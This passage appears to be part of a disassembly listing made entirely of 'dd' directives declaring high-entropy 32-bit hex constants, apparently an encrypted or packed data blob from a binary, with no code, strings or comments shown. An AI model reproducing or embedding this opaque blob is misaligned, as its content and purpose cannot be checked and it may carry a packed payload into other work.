0ECB684E5h dd 48006614h, 81186952h, 1F1D1BEFh, 0F781516Bh, 336D116Fh dd 0A7818A4h, 0C28238h, 474B107Dh, 0B7A2FB29h, 0E95F0800h dd 40BAC27Bh, 7970D327h, 0E9DB9661h, 512704E9h, 9883743Fh dd 0A4E0E903h, 0ECF0342Bh, 0E134A7E0h, 48C222C1h, 1EB3877Bh dd 0DE28FDD6h, 0EB1D27C9h, 0CF449042h, 0FA2D2B3h, 1AF2AFF3h dd 802C213h, 0CAE943E9h, 852630ADh, 72895780h, 5FFD26F7h dd 419612E2h, 59EF8848h, 0DED36C51h, 0F114FE9Fh, 0F35227FDh dd 0B855142Ch, 1AD8CACBh, 628FBE05h, 17800A01h, 2FCE1E83h dd 10F0292Bh, 0F7580880h, 3FB3D659h, 923478B8h, 22AE2673h dd 0F946D965h, 928EC595h, 0B599C147h, 93AA7099h, 38452C39h dd 4D01DE7h, 5A707839h, 0E9FEE87Dh, 22D7262Dh, 55DCCA71h dd 76688F90h, 0DC886F4Fh, 305D5E5Eh, 1516823h, 0E11610AAh dd 8B2A6F90h, 0D0ECB090h, 125ED849h, 8BBC332Eh, 945F5FF2h dd 0B1391FCh, 0D310AFF8h, 0CF12E42Dh, 38A1EBEAh, 0FFA7A604h dd 8089E912h, 7B3968E4h, 0D9BD57A8h, 5AFB4816h, 68EB9101h dd 0F17C7CF8h, 95FE896h, 5A7A415Fh, 9D5B6803h, 5A48280Ch dd 0B2A5A4A9h, 18096B4Bh, 172102F3h, 60A7A9E5h, 0B0CDEAF5h dd 85F0DDFAh, 5B02ABAh, 0F81A8A91h, 0A1BC9620h, 833A2E2Dh dd 0A232235Fh, 0B8100030h, 390533C3h, 87DE0C1h, 4BEBD94Dh dd 0F23ABBA5h, 93417620h, 0CF0F6E89h, 1D99115Eh, 0DB30527Bh dd 0D947127Ah, 0C6521C75h, 0D876E607h, 0FE44D70Bh, 67A864Fh dd 0EFE11F12h, 11E90453h, 687F9808h, 0C664A52Fh, 25597A9Dh dd 7AF96319h, 72ADE961h, 15079F39h, 6FAE30E5h, 75FAED92h dd 0F4F5F95Fh, 2BDDB12Fh, 0DEC4D094h, 35BB38C5h, 0AD39AF78h dd 4C358E2Eh, 84888534h, 9B81E2Ch, 1C40328Fh, 5483701h dd 50119695h, 7C0BACA8h, 0A304307Dh, 0AA92EB25h, 822E910Ch dd 4903EB04h, 0DA0BCD80h, 0D1EFA2CBh, 683BB8E2h, 1A46951Eh dd 6716BE1Eh, 0A57C159Fh, 82B6597Ah, 191A092Bh, 0C14D615Dh dd 0ECE3172Eh, 1F05C42Fh, 436289EAh, 433F1005h, 925D97F5h dd 0C6FC54C9h, 0A92F9FA6h, 33294B0Fh, 0D1B09FC0h, 86C8FE03h dd 7D2F6D0h, 2C013408h, 0CE8F2BD8h, 10B5B992h, 312F8026h dd 0B722C660h, 2494BD80h, 89CB20Ah, 8FADDEB9h, 0CB616FC9h dd 0E246CB4Ch, 5B0C9144h, 0A3A4672Ch, 55E90A16h, 0A2A77529h dd 7FF0A8F6h, 7F896A39h, 0DE01AEC2h, 21C782D6h, 63DFCFC2h dd 0D0E7EA9Dh, 0A0C890D7h, 2F6D7578h, 87C04563h, 20F7740Eh dd 7309A2CEh, 0D02940AEh, 840882B9h, 3001B6FEh, 30515AD0h dd 0F57E80C8h, 95B0C5E6h, 0B80E152Dh, 60EB297Ch, 1A36D85Dh dd 0E925213Bh, 97ADF837h, 0E9059B6Fh, 0D543F92Dh, 0CB6E0C63h dd 7CB3DD4Dh, 84C4992Eh, 0F859E828h, 0FCEC6443h, 0EAF988FAh dd 1033381Fh, 792DCC1Eh, 75A2E2EBh, 133C5771h, 71F7E4F3h dd 68505703h, 43902FF1h, 37EBA5E9h, 26C91715h, 0CB1843E3h dd 9A776138h, 9180FF9Ch, 683F8858h, 0CF1D490Ch, 0E667C59Dh dd 0D624BF6Bh, 86E2F3C4h, 905CB10h, 7E661A04h, 0B5AD733Eh dd 0D0B268Dh, 6D5C380h, 0AF77EAh, 4B9321F2h, 0C72C017Ch dd 95038CDCh, 1A956166h, 35E25D26h, 0B85EC325h, 555CA0BAh dd 799900BDh, 0E581016Ch, 6048748Fh, 0A340104Fh, 511BBE03h dd 0D4D23B0Bh, 7C89D849h, 12E9B02Eh, 0BAC8B731h, 662420A8h dd 617E627h, 0E77B6AD0h, 82FE4EF0h, 680183C1h, 0DA336B7Dh dd 8B448C4Eh, 0A7B2CD4Bh, 29EA2578h, 832AEA0h, 9AB83F28h dd 0CB4A5EFAh, 0C70390A4h, 0F711196Ch, 0FE4FE556h, 2CF06B52h dd 4F3BF4A9h, 9FF2B477h, 0EFB92460h, 98BE0813h, 0CDD74805h dd 0C820841h, 30441D05h, 0C92088E4h, 0BF2C2CE5h, 0BBAF0804h dd 2C8850Bh, 0DF17A37Ch, 0E9606312h, 481C124Dh, 8749430Eh dd 0A6C643FBh, 0EDB403B0h, 48E9F1B7h, 0FC289D51h, 44001A1Eh dd 28316852h, 975A4C22h, 49E0679Bh, 6627F139h, 771FF259h dd 509B16ADh, 4CD51AE9h, 0F4F1A4F7h, 25FD3B8h, 15BF68CBh dd 8D888F59h, 845D13DCh, 7003BFE0h, 0FA7CCE1Ch, 684D687Dh dd 4C5724A3h, 0D7AC3CD5h, 9A0242EFh, 5C646056h, 0E34763A0h dd 3C0BAF40h, 4064AF2h, 0ABE5C174h, 34D6CA42h, 0C1B48E3Dh dd 4B3FAE29h, 55BD062Eh, 6D255C51h, 0AE1FA0A3h, 0E2C7D66h dd 81E7D147h, 6D6BBB41h, 0B2D4401Eh, 307F9929h, 67092CB8h dd 0A0632E03h, 7631C6A7h, 0E9AC132Fh, 5C3E49EBh, 27AC454h dd 5C9B22A1h, 9164C28Ch, 39476800h, 972AE105h, 539EE5CCh dd 0B28A44FAh, 9D8CFA9Ah, 8AA44C0Eh, 0B50ECD8h, 514D192Dh dd 94E906F7h, 550299DEh, 272EC068h, 0EC0F8531h, 1F2F9E4h dd 772630E0h, 405AD189h, 0A78F19D6h, 0AB173BF7h, 0D71630F9h dd 3F43B353h, 4D3D167Dh, 0E4B0A6A8h, 0B13B447h, 6E08F709h dd 8C4D266Ch, 0EEDF264Ah, 165BDEFCh, 604D66E4h, 3FEF979Fh dd 5E5433F9h, 0BA0052F3h, 8C61B15h, 62038EB9h, 0A6A05A94h dd 0C4868E9Ah, 0FE041171h, 0DBEF80CFh, 0F4485CFCh, 9CCF484h dd 0AA50C85Dh, 68929FD9h, 7F241A77h, 31828909h, 40FC3DCh dd 40AA69C4h, 321FAFF8h, 32923151h, 344731A1h, 0BECC1D9h dd 75FD524Bh, 95C8FFB4h, 85866936h, 5E1380D5h, 95443A08h dd 0A8CDB143h, 0F1BD87ABh, 0D82D6933h, 2630CCF5h, 20C674Ah dd 619B2366h, 4E1891DFh, 80BFA13Fh, 0E7868952h, 12E105B7h dd 0F7D885Fh, 69E5BB6Ch, 80FBA163h, 0E220EF46h, 65D82941h dd 0A05185Bh, 3A182D0Ah, 523F23D1h, 10B5B6CDh, 1FDE7F13h dd 0C094ACD5h, 7CA2C4Ch, 2D4DECBDh, 2389D5E9h, 66161AE5h dd 58021B88h, 68A0D669h, 9BB71234h, 0FC599FD8h, 0C9A4505Eh dd 7679EAB5h, 0EFEB03A3h, 50B73EFEh, 7450121h, 25FACBE6h dd 42C5C92h, 0D3135DF5h, 3E224C34h, 0BBB24051h, 16BE001Ah dd 6EE1B95Dh, 313C4CB5h, 774B5CE9h, 48DB460Ah, 0AE02BC49h dd 5F138012h, 89AA9090h, 0DC6E5B3Ch, 0C58731EDh, 629718B5h dd 0D25EB921h, 0A0B5C621h, 119F6800h, 0F160AD94h, 0B02A1816h dd 0B35D4C01h, 400C0130h, 2481575h, 618C09F5h, 795C02A5h dd 97BD94DEh, 5E256851h, 5DEA620Fh, 55697D74h, 6B51C019h dd 0FDEFE640h, 0F6261980h, 0E8C44B9Bh, 0F7DEB7E2h, 62BAD3C4h dd 0A36859FFh, 85B56AE9h, 4052BE7Fh, 0A5E408EBh, 0D6B00D2Ch dd 4BAA0537h, 824A857Dh, 800077FEh, 456825CAh, 0E7443A4Bh dd 880BE8F0h, 287AF9E1h, 19B212A5h, 5CEAA4A0h, 88019BDEh dd 97E9D328h, 964E2C6Bh, 0CFBEC00h, 0B7493B30h, 0A7FE9D49h dd 5D58D013h, 0AC58B37Bh dd 20685DF0h, 2B30224Eh, 0BFA5A8Bh, 0A6CA8111h, 0E934BC00h dd 0E89770D7h, 8025D585h, 0F13F2858h, 7EBEA580h, 0D790C288h dd 3A6D98DDh, 10999DBBh, 9F45F69Ch, 0B90BFD28h, 80097429h dd 0EC34A324h, 8EE6C156h, 0F065DC58h, 7412ABE1h, 59012687h dd 6AAE4018h, 2572F884h, 0F14AC0FBh, 5C330BDCh, 806E1824h dd 33099F1Bh, 5E5A59CBh, 6C390CF9h, 4B0B7B8Ah, 7032E9B9h dd 7574A23Ah, 0CA9DA816h, 8A66022h, 273ABD94h, 0F96A08DFh dd 1922BA80h, 60BE30B8h, 0D6310B26h, 0D7BE76E9h, 0AA375127h dd 0C18511A4h, 55AA1192h, 91EEE45Ah, 8389A75Fh, 942145E0h dd 64408352h, 9A112DD6h, 0CF0FA743h, 53EB1ABCh, 10E22C8Fh dd 455618B7h, 74C12592h, 0D3C02CB2h, 0F8EBE05Ah, 0C80B229h dd 0D0F6C786h, 0FA278808h, 4CCFC5Bh, 0A1C220A3h, 4A9D041h dd 0ECA1864Eh, 9DE4D0D2h, 0B1FDE042h, 25283B86h, 9F666718h dd 9B17AEF5h, 4D1227ABh, 54ECF384h, 686656C0h, 25E95CA9h dd 0EBBDE057h, 83102B69h, 487F8FDBh, 50056636h, 834E2668h dd 0D4C4C33h, 761D2084h, 0E08D2F5Fh, 0F32DD622h, 8FFA812Eh dd 0E540D889h, 0B0A6EBAh, 1428E944h, 3F6809A2h, 0C0251BD5h dd 0B580E63h, 0A20E97Bh, 0ABC5C57Ch, 0A74A08A8h, 0EFE909B2h dd 52D4A619h, 2CB5949Ah, 125D1297h, 8B7F092Dh, 0C4897171h dd 0CC0FA8F8h, 0F81FEF0Ah, 0E509ED9Eh, 0E6B40243h, 0BAA40EC4h dd 0FB3D9065h, 939750Fh, 42F58BBDh, 17D47825h, 4D9C581h dd 0BA4D3A0Bh, 0F587BC01h, 8C40C683h, 0B93C2268h, 42D4ACA1h dd 0F70ECD12h, 0B9F84304h, 0A74B0F12h, 0FF7C99E5h, 0F508E525h dd 2ED92CD7h, 8A195A44h, 0E5E9F129h, 15902EB7h, 0BF351D23h dd 415B8691h, 7B6C4C96h, 0BA965879h, 5834BA40h, 955AE688h dd 0ACB13DCEh, 39EAEA92h, 44E62BFEh, 0D32BB84Bh, 0FCAC4921h dd 0B60F9384h, 0CD558102h, 0D4216A43h, 0AB0564F3h, 296EC59Dh dd 253129D6h, 216883DDh, 0EF40B9C8h, 2DD9E32Bh, 0A54BD1A9h dd 8949E159h, 0C9187E20h, 0E5ACE679h, 7F0EE942h, 0BF601112h dd 801CAEB4h, 0CCC357F4h, 0E7ECC0DDh, 2A04729Eh, 0F1ECAB1Dh dd 0AD4454CFh, 0C7E188FEh, 3F2A4A02h, 0DC7D2B68h, 0E00953EBh dd 10C5B6E9h, 2D01C6D4h, 0EE895591h, 3504BAD6h, 91AC4826h dd 5D1FFF3Ch, 0E4CB4158h, 83369F10h, 280CE20Ch, 0FB320475h dd 0FE0D61F6h, 4AF2784h, 16A3721h, 88ECC380h, 14111AA4h dd 0BDE9CCEh, 3B198C94h, 2064F17Fh, 5E80E561h, 0EEF0955Dh dd 0D16E9F16h, 0BFEB1600h, 0BD7EE03Ah, 0A1E973E0h, 0EF45A060h dd 9E67473h, 5ECE6828h, 0E7DC1877h, 307E8283h, 90359402h dd 85F2C00Dh, 0D25C80AEh, 2D925295h, 6C5363DCh, 75306885h dd 0BD6D64EAh, 0F8A88BD2h, 97C4F68Ah, 0E9E2C6F3h, 95EED8BFh dd 0E90A5EC7h, 74A5D3B0h, 0E889162Dh, 0FBCB5D6h, 61977A4Dh dd 7F79656Ch, 0EC81D375h, 0FF6378E2h, 4E27BB02h, 0A455145Dh dd 0A80E339h, 14837252h, 0BD4301C3h, 0B26840Dh, 46C8EB20h dd 9960D31h, 417C0501h, 103B3366h, 0EC4B07D8h, 0B9839F26h dd 0E5503BC9h, 0C870BE83h, 0FA6F2905h, 3F2DFE40h, 0B44EC004h dd 99D1CF4h, 63A45921h, 0C294C331h, 0D4A008D1h, 5EB4CD81h dd 23DDE5Ch, 0F457EFEDh, 5A8A4050h, 674C2631h, 0C5BC33B0h dd 0F9232AF0h, 5B00294Ah, 61069CCAh, 0FE2FE21h, 1C153FB4h dd 7362F28Fh, 237D68A9h, 0C2177918h, 1C08DD0Fh, 597C2507h dd 1E7F658h, 0F736E427h, 2FE6C1DEh, 59F9640Bh, 0B258965Dh dd 62A2105Bh, 5FF82100h, 0D90AD535h, 0BCB1135Bh, 0E30F233Ah dd 928E9BA2h, 0E14FD076h, 2D306283h, 56C12237h, 0E96008A1h dd 52008FA3h, 6F43ABBAh, 0D7292E1Ch, 1EDC148Ch, 2139F04h dd 7E26C21Eh, 788C2B79h, 0AE5276Bh, 2CEE371Fh, 48DC0FAAh dd 0EB017B42h, 0AEF26640h, 0EEC58980h, 4780BF7Fh, 112DD029h dd 3D692117h, 0C7E64604h, 1FB33C8Ch, 0CD92083h, 0FE18677Eh dd 7604C66Bh, 4923161h, 7D580282h, 0A42CC84Ch, 4CC0EC5Eh dd 2D4E1B43h, 88D44431h, 5692E9E2h, 0B95F0086h, 32478ADDh dd 10E817Ch, 0A431552Ch, 0CDBF87E1h, 677B411Bh, 0B8A4C361h dd 0E908400Ch, 3688366Eh, 0E9B879A8h, 69C41F4Fh, 782D22ECh dd 1E143C93h, 91E02C0h, 5455699Ah, 0BC031719h, 70074FE8h dd 0C6035DDAh, 818FEFD1h, 2E2D6DFCh, 6A243683h, 28030EC3h dd 0CA73F8F3h, 0BCE9A189h, 4DE02Ch, 815585h, 6A57B0EFh dd 0E970591Fh, 5240644Ah, 719249F8h, 32DF7DF7h, 541AE29Eh dd 0B85855F4h, 994B0717h, 0F105406Eh, 309166B4h, 58808AAAh dd 0B1F29D5Dh, 48969720h, 0D02E4C57h, 3490EB21h, 14A7F68h dd 158BBA6h, 8463BB05h, 786EA041h, 0E975370Bh, 89A9C8DEh dd 0FE67B8E1h, 79E6272Dh, 57357660h, 52BB641Dh, 317BD281h dd 320514Dh, 3CD02C20h, 449E1087h, 2CB6A799h, 0F2CE7E25h dd 0BA61C9FEh, 43F0E6CFh, 23810405h, 8401341Ch, 0E907047Dh dd 177CA29Ch, 51B42642h, 0F65B4ADFh, 0F042D299h, 0CC434668h dd 1E1C3567h, 1ED8AB10h, 0E2F64FCDh, 7CFE2040h, 0B1BD5FACh dd 998E3FE4h, 4FBA4250h, 0D205ED11h, 964017A8h, 0FA1413E0h dd 0B416015Ch, 9A6D0737h, 54626F34h, 0DBEE959Fh, 4F8EFC70h dd 4B35A4B8h, 0B0E6C214h, 0CFA45BDCh, 26149801h, 494FCD24h dd 3C5EB2CAh, 35824B3Bh, 4BCB50EDh, 0CB5AA251h, 7A2F84D7h dd 823317D3h, 0F4B743CBh, 39F58E1Fh, 0BEDDED67h, 0BA4A305Eh dd 0F36017FAh, 28ECA52h, 3AEF983Eh, 259833C2h, 0A9D30C36h dd 975DB25h, 27E29ED4h, 687B2C8Bh, 4B7856EBh, 3408DCFBh dd 628239BEh, 8976F46Ch, 5304695Dh, 0A0F6B22Bh, 5472685Ch dd 4026B708h, 4C9FB882h, 471D0EC4h, 14DE297Eh, 0E91308EAh dd 2DF680D2h, 0B72C4DF5h, 50586160h, 0B4F49E9h, 5609053Ah dd 0FD56232Eh, 9852CF17h, 4594A7E4h, 0B1DF886Ch, 0D5B0095h dd 661D5922h, 18A87498h, 0E3E0E2B4h, 0A49A2AF2h, 0D7D5F628h dd 0ED0E9B78h, 4DC53006h, 0C66008E8h, 0C766BD21h, 779E6BF2h dd 0F0FB5025h, 0AC864A1Bh, 6177C1A9h, 0B4426B73h, 0EA080071h dd 0F95A6859h, 629B4C91h, 5E4AC204h, 16463AD7h, 57CB8A88h dd 7E888731h, 0A8022714h, 461C2568h, 7A801D32h, 643A4925h dd 0FF093BB8h, 7C6F107Ch, 0ADEA08EDh, 623CBB81h, 422E5C65h dd 0DE95B21h, 0C3F91BD5h, 288B7E76h, 20C25729h, 0B30F9E53h dd 24EBD0D8h, 35BBCCE7h, 0A426F4EFh, 244A815Ah, 7CA88660h dd 784BD8A0h, 823BB124h, 932D68E9h, 142FD2AAh, 0B64BF653h dd 0A8FC103h, 2FB43B01h, 258C406h, 0E0F1E90Bh, 5F261EDFh dd 807E0028h, 5B6801C5h, 0C005434Ch, 886DB450h, 51580EE3h dd 0EB09D0B5h, 60CC8383h, 5C8A301h, 70AB6DC5h, 84EE367Fh dd 4C6E9A0Ch, 2DE99427h, 0B6B8E1Ah, 26F8D8BAh, 2753523Fh dd 0B6A684ABh, 0A07EE5C2h, 17DB89Dh, 3A3D5871h, 0D0F70706h dd 1EE49435h, 0B664F8EBh, 831F1169h, 0A05A8366h, 5EB4E914h dd 4F13CA21h, 0E9C3DBA6h, 785B730Eh, 0ABB4C6BCh, 0D92C9F29h dd 103E6421h, 277C8324h, 6B1190B9h, 47D1974Ch, 0DF82335Ch dd 0F8E7C40Dh, 37E913B8h, 0F791A808h, 9867C6F6h, 12A10598h dd 0EA5A0F4Bh, 0B84BA38Ah, 5D2884ACh, 0E52DFF14h, 0C69A65E3h dd 0C4DC6042h, 65DA85BBh, 0D7F5279Ch, 0E45E5F9h, 5D68D2AFh dd 54B657Fh, 0BB51535Ch dd 5822A082h, 344EBFB7h, 360AEAB6h, 0D42D5DDDh, 85D9764h dd 5516B4A0h, 0DFEAFEF1h, 0DDB80843h, 0A970BE56h, 0D1652D0Bh dd 0A1840FEEh, 12D3E94Eh, 5D97AA04h, 0A10D3036h, 0C4E4D455h dd 0B7287FA2h, 0D917A8E1h, 0D6EBEDCBh, 61930556h, 0FC4161B1h dd 0B26B5FFEh, 68D3C941h, 82F6C51Eh, 3DAB16E0h, 577109FCh dd 179EBF04h, 0C9AF340Fh, 0B23A96h, 4B28C421h, 0E8291580h dd 355F5D01h, 678615A5h, 49121822h, 897DB87Fh, 82FDE551h dd 58014318h, 92A8C5DDh, 3F00FEF7h, 4FE06BD3h, 0F0C24E21h dd 0C34E4398h, 87C9E340h, 0BF29101Dh, 0B952DECh, 0B52F0446h dd 5C4E0016h, 8135F114h, 94EE75E6h, 45E92809h, 3DCA7B1Eh dd 70B717A0h, 68AFB6C1h, 4F2E0C97h, 0F39EFD86h, 68415E21h dd 307E1E2Bh, 817A03CDh, 0C79E5E51h, 904B3B0h, 9F87E95Eh dd 0E3328F42h, 0D8F3CA3Bh, 0EEB12736h, 0E17C26F2h, 0F10EB62Fh dd 3AD54BD3h, 0D40AA9FAh, 4E42F2F3h, 14B762F8h, 75949710h dd 0B352D05h, 31800DF1h, 618309EAh, 0E5F5C76h, 99B360A7h dd 7986A256h, 0C4C8BD2Dh, 0B2D5CFFh, 0F8D01F9Eh, 38CEFBA7h dd 93BFFF9Eh, 0D2ED01BFh, 25D5442Eh, 81080EDCh, 8226344Ah dd 5860AEDEh, 5082DB67h, 808D7FFAh, 4C8B1C2Ah, 0F05ABAE2h dd 740A08BBh, 0F2FAE918h, 56A68BA7h, 13484B11h, 0BE96D0E2h dd 0A162D069h, 6EFDEEBCh, 833C8635h, 2655AB07h, 0D96DC72Ah dd 7B258AC6h, 6C2FCCA9h, 94C05928h, 1AB2A3F0h, 0A15FC89Fh dd 0FA2F756Eh, 5BB9C57h, 8C13BE68h, 0EE9E5261h, 2C42C752h dd 6BF427DEh, 0A55A8942h, 94C2F2C8h, 4F29DEA2h, 2980B3E5h dd 0C73DECC8h, 0A4EA17C0h, 4A985359h, 4BA1329h, 0FCFD4478h dd 6070E61Bh, 0BB9E9A5h, 38009D4Eh, 0C153FBFh, 5FE8E926h dd 415D8ABEh, 0F616ADC5h, 5221707Ah, 0B6F084A6h, 2FEE7C17h dd 0A050731Ch, 0A751EC62h, 5665B0D7h, 88B39F23h, 0A78C0CCh dd 407C4C18h, 2BE9FE0Ch, 772938E1h, 479FEBF5h, 2648F968h dd 0D32056CFh, 0E939D449h, 0FB7B9D25h, 4D183D52h, 0D1F1DD98h dd 0A437390Bh, 0E929902Dh, 177F91CBh, 7BE7BDC2h, 1DC34B5Dh dd 6CD21A2Ch, 0A8511D4Ch, 0F1272802h, 0B0360A6h, 6FE9F929h dd 29A8CE4Eh, 0C4BB2D80h, 895A010Fh, 78EAF600h, 9F315175h dd 88265DAh, 0A295FD96h, 5678B019h, 685960A9h, 11BC79CFh dd 0B40A4072h, 64F2D1Fh, 3828FCC0h, 9031AB2Ch, 0E713BD00h dd 0E99BE927h, 0F2924328h, 53502534h, 92E9C141h, 0B0C96EA3h dd 0BD9E34E0h, 22270845h, 3DEA41Dh, 0DAEA2505h, 738AA540h dd 0C645491h, 9633404h, 20735266h, 0F7247252h, 9B09C9D2h dd 13790F7Ah, 0DCF50E82h, 0B1A262EEh, 46217DCh, 60A25C67h dd 3D653C54h, 0B50BE32h, 899E4031h, 0CF6881AAh, 0C424FCA4h dd 5800772Eh, 0C3FEEBD0h, 7A54F2F5h, 0BB95B12h, 5A40BE89h dd 6D1209BFh, 0A801692Ch, 7AE4006h, 928E897Fh, 6D185F11h dd 0BD78FC38h, 5AF81594h, 0B321E04Bh, 0C5CC68EDh, 7B884C4Ah dd 5F7E610h, 205F895Dh, 77CF32E2h, 7EE9F592h, 57D65EC2h dd 30DCC189h, 9F5F6958h, 68026BE4h, 176D1ECDh, 0C5805058h dd 520206h, 1D7479C4h, 0E202BA6Fh, 31612B46h, 2D5F6EAh dd 65410D78h, 42F13A40h, 13B6384Ch, 7AECE6B8h, 0EAA02E5h dd 6DD6D6Ch, 5A0D0AABh, 4838A229h, 0DB9B1025h, 14F75619h dd 0F0D6D15Eh, 0A79A695Fh, 83E3DCF9h, 0FDEC1297h, 50AF8188h dd 5CFAA62Ch, 712D76B4h, 0B0D86555h, 0F41280A0h, 2E0D5188h dd 0BA707F65h, 0A2644840h, 0C00C0DD4h, 0F39003E3h, 4AE65D82h dd 609EC0C5h, 0C0BE4564h, 0F5B652B8h, 39B492D2h, 67A30FF7h dd 76901F8h, 6259B641h, 834B1565h, 54508425h, 2DA68CBEh dd 0A5D47395h, 566951D9h, 6468857Fh, 0D6AFD829h, 3B6E3F13h dd 51C68F8h, 0D77D9F40h, 111809D7h, 858B70EBh, 16DDD482h dd 5DE2D30h, 358844F1h, 416805D6h, 56375F73h, 0F57A2050h dd 309631Eh, 4EF2977h, 0EEF96Fh, 0C25830B9h, 0CE130176h dd 164C0DE9h, 97D77A5Bh, 295A9540h, 5953CB12h, 0E67F9AA9h dd 40D84EB0h, 0E22DCDCBh, 0DA483116h, 5C5084F3h, 0F7E65909h dd 0D344D24Ah, 0B90956B1h, 298B42F6h, 712E06CDh, 0BD0FE2D1h dd 9AF914B3h, 1FA669E7h, 51A43A84h, 7135D800h, 58D318B9h dd 0E9090D29h, 92F9681Eh, 8757278Ah, 609E380h, 984B6E35h dd 5ECD40BFh, 0A0A1519Eh, 21DCD10Ah, 225D2894h, 92F19554h dd 945FA73Ch, 20E91679h, 5BD47795h, 1F4075B2h, 0AE93E036h dd 2F59E50Ah, 0FC235E93h, 27197F22h, 2AC5F021h, 605AE99Fh dd 0D7ED64Dh, 1781B5F1h, 0D9034BDCh, 0B1F5B7Ah, 0EFA86167h dd 0CA41DCB0h, 5BCCB948h, 2D8F4F1Ch, 7B6546C0h, 454AC368h dd 40AAFC34h, 6F72D5Bh, 0D09D72B6h, 7A662006h, 0F08C70B7h dd 9DDB670Ch, 0BC9FF2E7h, 0F376B957h, 1675173Bh, 0D2F3E7F1h dd 31A1E5B8h, 0A4C22CC3h, 46B0BEF8h, 511AAE0Bh, 0DD0B72BAh dd 6867B083h, 95E6A53Ah, 3F757ECAh, 33E20757h, 21B5F7Bh dd 0E82F1BBh, 2B65C509h, 2056F82Fh, 0F64B555Eh, 0C035B2B4h dd 1C62D13h, 8B3E170Eh, 0E1F72508h, 0BDD94055h, 4EC0C654h dd 0F4EA2822h, 509917h, 414986EDh, 5DF821D0h, 640B2FCh dd 7B7D0025h, 903564FDh, 419D980Ch, 0E06A5883h, 310413C8h dd 60E96886h, 8851CF90h, 957CF0C5h, 56B9F0Fh, 0FEBDE876h dd 81B7AC48h, 8B94856h, 0E6C3407Bh, 1ED23F27h, 7DAAE913h dd 57211C49h, 7DC57492h, 5F4362h, 0F281DAF7h, 0D803A80Eh dd 0A5E2CF2Eh, 5F802768h, 24BFE5C2h, 1B2BEFF9h, 0EEA44210h dd 548E72C1h, 0A4015703h, 1AB47669h, 6731C789h, 3291E5A0h dd 5429CDBDh, 87B7A2F5h, 8E010659h, 48EA40D3h, 7AAD81BFh dd 442934C8h, 0CE238210h, 2C7DE0Bh, 0F7F6DFFBh, 6961A86Ah dd 5EBB2CF1h, 0C3B2E2B8h, 0DB1A4955h, 2E51069Ch, 7564087Eh dd 0DF3870Bh, 0F43008BFh, 3D8B0999h, 0ABAB290Bh, 0F36B06F1h dd 0C8390B0Ch, 44CF93D4h, 98BA14B7h, 174F8C4Ah, 5628A7E6h dd 3A9D6EADh, 0FD53E4A5h, 0F5F32C9Ch, 5F5EF240h, 0C2C6039h dd 16270A54h, 7182426Bh, 0A6651CC7h, 6CA24941h, 4A925FADh dd 29BA62F7h, 92BEC5BDh, 0E992B405h, 0A3BD624Eh, 7AB10928h dd 246598D1h, 5BEC4108h, 6892E1F1h, 4AACC16Ch, 57F474CDh dd 1A189501h, 0BCCB53h, 4765F469h, 8CC6E965h, 2094D9B4h dd 75980750h, 18504C66h, 14407847h, 72DF801h, 0E911A075h dd 31584EF9h, 3A061498h, 0ED9FC6B2h, 7F2602A6h, 46BD551Ch dd 10ECD7D4h, 1373B452h, 6CC307Ah, 0A95B83EEh, 8120470Eh dd 0E8F9726Fh, 7F77984Fh, 9031745Eh, 8B7A02EFh, 136A4819h dd 8990B032h, 14D73D2Ah, 0F3F20160h, 935E0840h, 2822273Bh dd 250BE09Ah, 0C0EE02BDh, 0A12C5A5Ah, 9FB214C7h, 0BC808766h dd 1D045932h, 2C68AF84h, 6DE90422h, 0B56F45E1h, 0F0B57E05h dd 5305B66Fh, 76A41874h, 82B6253Bh, 0C1AF637Dh, 312E7EB5h dd 7BC018BDh, 5B3CB2E0h, 5EDE271h, 29231D53h, 85510FBh dd 0BDDA5E38h, 581804A3h, 66C260DCh, 0A63500B2h, 2813D427h dd 63EB0568h, 79075675h, 310BE8C1h, 0A4AC364Fh, 9AF1B1h dd 1DD1F749h, 5BF98741h, 0FECE09D7h, 32B5530Bh, 0A287598Bh dd 1C844B81h, 4C5210F4h, 0A62C77E1h, 0E28E2ABDh, 77EA6688h dd 9857660Ch, 0E2BD2B97h dd 0A8357C8Bh, 887227D6h, 0ACE04F19h, 0DA03FC2Dh, 0DB6F1C4Fh dd 4789F4F4h, 69C26130h, 0CADE1051h, 0E0905051h, 96B82954h dd 5855C925h, 0E538DE71h, 0B95FC65Ch, 192B049h, 9517E12h dd 0E11EF4F5h, 0E13C6205h, 5DA72ADDh, 0C024B94Ah, 2D966851h dd 0E05B4E57h, 49167CD3h, 13BB4A8Eh, 0E52FC69h, 0C056A53Fh dd 67AA8FF7h, 4F4090F3h, 1627A65Fh, 0F440DA60h, 0B55166D0h dd 9A18F60Bh, 576459C8h, 828B372Ah, 5B5274B2h, 7A8C0C5Bh dd 0A37A567Dh, 2D561425h, 4E16E9F8h, 7B54B7BBh, 0D1E7362Dh dd 0C6EA5B8Fh, 175496DFh, 3789E3E9h, 72B983CFh, 44CACD0Eh dd 654EEF58h, 0AAFD0986h, 1A06809h, 6F091646h, 75FCB03h dd 8E93C477h, 4CE1B04Eh, 47913062h, 29354A18h, 104A0558h dd 0B24BE471h, 0A5CBDFE7h, 8BB3D5A1h, 7AF544D1h, 0A8F80534h dd 0E545D3DFh, 47603EA6h, 1274069Ch, 64EB2966h, 70A1F856h dd 1E156812h, 805896B4h, 0CB0ABE56h, 9B32B772h, 488D3902h dd 0BE4178CDh, 0C5E98541h, 5DE230BAh, 6962AC68h, 0CB6FB4Dh dd 0F44475BAh, 9D63FAE1h, 5EF1A28h, 0FFE8664Ch, 411ECB14h dd 0F2C7E08h, 9DBB4EB8h, 6ADAEC73h, 0ED093D9Ah, 7ABA5203h dd 22D0BA50h, 0E0778D9Fh, 6853D161h, 5B884B3Fh, 5C13C43Ah dd 0CC1661BFh, 0F301014Fh, 0EFA74EDDh, 0FB96DCDEh, 3794A1EDh dd 0B51EFC4Fh, 0F9058DE6h, 0DD22D468h, 91022354h, 0D862107Dh dd 0ECD56816h, 93035297h, 0A81913ACh, 0DCEBFB07h, 469A9346h dd 24315D09h, 0AB28C047h, 0E99016CEh, 0B45AF889h, 0C3755CBEh dd 23BD7CC9h, 6021232h, 3F97FC03h, 0CE518E01h, 502BE90Dh dd 49D6BD9Eh, 8102E272h, 16728BCDh, 0C60603Eh, 39A52D17h dd 75461940h, 8C71CDDAh, 0CD0CCF3h, 291E9172h, 0CA29E992h dd 16BCF77Ah, 5DF79010h, 657F463h, 0F0E34702h, 7F0F7844h dd 0C87F74C4h, 62647D27h, 89779EDh, 531360B0h, 0FB00DAB8h dd 816E452Ch, 6114DCC9h, 20F9285Eh, 6F211E6Ch, 845A3A1Ch dd 0C6C4AECCh, 3CAD8BFFh, 393E58B2h, 